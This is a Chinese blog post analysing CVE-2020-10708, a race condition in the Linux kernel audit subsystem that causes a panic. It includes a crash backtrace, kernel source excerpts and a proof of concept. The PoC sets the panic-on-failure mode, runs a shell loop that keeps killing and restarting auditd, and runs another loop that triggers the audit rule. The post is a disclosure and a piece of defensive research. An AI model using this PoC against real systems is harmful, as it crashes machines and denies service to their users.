从 vmcore 中挖掘出的 CVE

简介: CVE-2020-10708

在某次 kernel panic 的 vmcore 分析中,我发现这可能是一个允许低权限用户或远程攻击者触发的拒绝服务漏洞,经过对调用栈的回溯分析与构造 PoC 验证,并将测试结果提交给 Redhat 后,最终由 Redhat 确认:CVE-2020-10708

漏洞原理

这是一个存在于 audit 子系统的竞争条件漏洞,漏洞原理比较简单,构造漏洞场景也很简单,我们直接通过 vmcore 来看看是怎么发生的。
首先看下 panic 堆栈:

crash> bt
PID: 22814  TASK: ffff8d1b40ea0fd0  CPU: 1   COMMAND: "audispd"
 #0 [ffff8d1b69ee3c60] machine_kexec at ffffffff96a60afa
 #1 [ffff8d1b69ee3cc0] __crash_kexec at ffffffff96b13402
 #2 [ffff8d1b69ee3d90] panic at ffffffff97107a9b
 #3 [ffff8d1b69ee3e10] audit_panic at ffffffff96b271e4
 #4 [ffff8d1b69ee3e28] audit_log_lost at ffffffff96b2722f
 #5 [ffff8d1b69ee3e40] audit_printk_skb at ffffffff96b2743c
 #6 [ffff8d1b69ee3e60] audit_log_end at ffffffff96b27692
 #7 [ffff8d1b69ee3e78] audit_log_exit at ffffffff96b2ce51
 #8 [ffff8d1b69ee3ee8] __audit_syscall_exit at ffffffff96b2f40d
 #9 [ffff8d1b69ee3f20] syscall_trace_leave at ffffffff96a395f4
#10 [ffff8d1b69ee3f48] int_check_syscall_exit_work at ffffffff9711fac2
    RIP: 00007fa2967ab170  RSP: 00007ffc7ce357d0  RFLAGS: 00000200
    RAX: 0000000000000000  RBX: 0000000000000000  RCX: 0000000000000000
    RDX: 0000000000000000  RSI: 0000000000000000  RDI: 0000000000000000
    RBP: 0000000000000000   R8: 0000000000000000   R9: 0000000000000000
    R10: 0000000000000000  R11: 0000000000000000  R12: 0000000000000000
    R13: 0000000000000000  R14: 0000000000000000  R15: 0000000000000000
    ORIG_RAX: 000000000000003b  CS: 0033  SS: 002b

发生 panic 的函数是:

void audit_panic(const char *message)
{
    switch (audit_failure)
    {
    case AUDIT_FAIL_SILENT:
        break;
    case AUDIT_FAIL_PRINTK:
        if (printk_ratelimit())
            printk(KERN_ERR "audit: %s\n", message);
        break;
    case AUDIT_FAIL_PANIC:
        /* test audit_pid since printk is always losey, why bother? */
        if (audit_pid)
            panic("audit: %s\n", message);  // audit_pid != NULL, panic here
        break;
    }
}

这里触发 panic 需要满足两个条件:

  1. audit_failure 设置成 AUDIT_FAIL_PANIC,AUDIT_FAIL_PANIC 是指示在 audit 失败的时候主动触发 panic;
  2. audit_pid 不为空,即当前 audit 是启用的。

继续回溯发现,在 audit_log_end 中有一处对 audit_pid 的判断:

void audit_log_end(struct audit_buffer *ab)
{
    if (!ab)
        return;
    if (!audit_rate_check()) {
        audit_log_lost("rate limit exceeded");
    } else {
        struct nlmsghdr *nlh = nlmsg_hdr(ab->skb);
        nlh->nlmsg_len = ab->skb->len - NLMSG_HDRLEN;

        if (audit_pid) {
            skb_queue_tail(&audit_skb_queue, ab->skb);
            wake_up_interruptible(&kauditd_wait);
        } else { // audit_pid == NULL 
            audit_printk_skb(ab->skb);
        }
        ab->skb = NULL;
    }
    audit_buffer_free(ab);
}

但这里是在 audit_pid == NULL 时调用 audit_printk_skb,与 audit_panic 中对 audit_pid 的判断结果明显不同,唯一的解释就是:在 audit_log_end 判断 audit_pid 是否为 NULL 时,此时 audit_pid == NULL,进入了 audit_printk_skb,而在这之后,audit_panic 判断 audit_pid 是否为 NULL 之前,由于某些原因(如 auditd 重启),audit_pid 被重新赋值,从而导致 audit_panic 触发 panic。

PoC

从攻击者的角度来说,要触发 panic 的前提是系统管理员(root)设置过 AUDIT_FAIL_PANIC,即 audit 失败后 panic。其次需要等待一小段的窗口期,并在这个窗口期内触发任意一条 audit 规则。一个典型的场景是,在 auditd 重启时,会经历一段 audit_pid 从 NULL 变成非 NULL 的时间,在这个时间里触发的 audit 规则如果恰好满足两个满足上述描述的 audit_log_end 与 audit_panic 对 audit_pid 的判断时机,就能够触发 panic。这其实是一个非常苛刻的条件,但可以通过循环来提高命中的概率。

  1. 【需要 root 权限】设置 AUDIT_FAIL_PANIC 并添加一条任意的 audit 规则:
    `[root@test ~]# cat /etc/audit/rules.d/audit.rules

-D
-b 8192
-f 2
-w /etc/hosts -p rwa -k hosts`

  1. 【需要 root 权限】不断杀死 auditd 进程并启动 auditd,这其实是制造 audit_pid 从 NULL 变成非 NULL 的环境:
    while true; do ps aux | grep "/sbin/auditd" | grep -v "grep" | awk '{print $2}' | xargs kill; service auditd start; systemctl reset-failed auditd.service; done
  2. 【不需要 root 权限】不断触发审计规则:
    while true; do cat /etc/hosts > /dev/null; done
  3. 等待 panic 发生
目录
相关文章
|
机器学习/深度学习 Shell Python
vmcore自动分析工具
作者:雨庭 ## vmcore分析工具的需求变化 解决内核宕机、修复线上问题以及优化性能瓶颈是各操作系统团队工程师日常工作之一,其中大量工作依赖于crash工具对vmcore进行分析,但是应用规模以及场景的变化对其提出了新的需求。这种需求对开发者和集群运维而言,反映出不同的问题。对于开发者而言,crash工具可以满足查看vmcore中几乎所有数据的需求,例如全局变量、调度子系统
6617 0
|
关系型数据库 PostgreSQL
postgresql行列转换函数
postgresql行列转换函数 Pg提供相关行列转换函数string_agg和regexp_split_to_table。行转列:string_agg 测试表 postgres=# select * from test.
7183 0
|
Python
Python中的r字符串前缀及其用法详解
Python的r字符串前缀用于创建原始字符串,不解析转义字符。在处理文件路径、正则表达式和特殊字符时特别有用。例如,`r'C:\path'`会保持反斜杠原样,而`'\n'`会被解释为换行。r字符串前缀不能用于变量或表达式,且仅影响字符串本身。了解这一特性有助于编写更清晰、准确的代码。
1874 0
|
存储 Prometheus 监控
使用 Docker 部署 Prometheus + Grafana 监控平台
Prometheus(普罗米修斯R)是一套开源的监控&报警&时间序列数据库的组合,由SoundCloud公司开发。
22084 4
使用 Docker 部署 Prometheus + Grafana 监控平台
|
Python
python字符串太长换行
python字符串太长换行
2214 0
|
7月前
|
JSON 人工智能 安全
Qwen Code 能力再升级
Qwen Code v0.3.0 正式发布!全面支持 Stream JSON、多语言界面切换,提升安全稳定与生态适配,助力开发者高效构建 AI 工具。欢迎体验并参与共建!
1219 1
|
JSON 缓存 并行计算
NVIDIA 实现通义千问 Qwen3 的生产级应用集成和部署
阿里巴巴近期开源了通义千问Qwen3大语言模型(LLM),包含两款混合专家模型(MoE)235B-A22B与30B-A3B,以及六款稠密模型(Dense)从0.6B到32B不等。开发者可基于NVIDIA GPU使用TensorRT-LLM、Ollama、SGLang、vLLM等框架高效部署Qwen3系列模型,实现快速词元生成和生产级应用开发。
|
数据安全/隐私保护 索引 Python
“从零开始学习Python包开发:掌握Setuptools工具的使用“
“从零开始学习Python包开发:掌握Setuptools工具的使用“
|
6月前
|
存储 弹性计算 应用服务中间件
2026年阿里云服务器配置选型指南:个人与企业用户适配方案
在阿里云服务器选型中,核心是根据用户类型(个人 / 企业)、业务场景(网站搭建、开发测试、生产应用)及性能需求,匹配 CPU、内存、带宽、存储的最优组合。不同用户对成本、稳定性、扩展性的诉求差异显著,个人开发者侧重性价比与易用性,企业用户则需保障性能稳定与业务连续性。本文结合实例规格特性与场景需求,提供从入门到企业级的完整选型参考。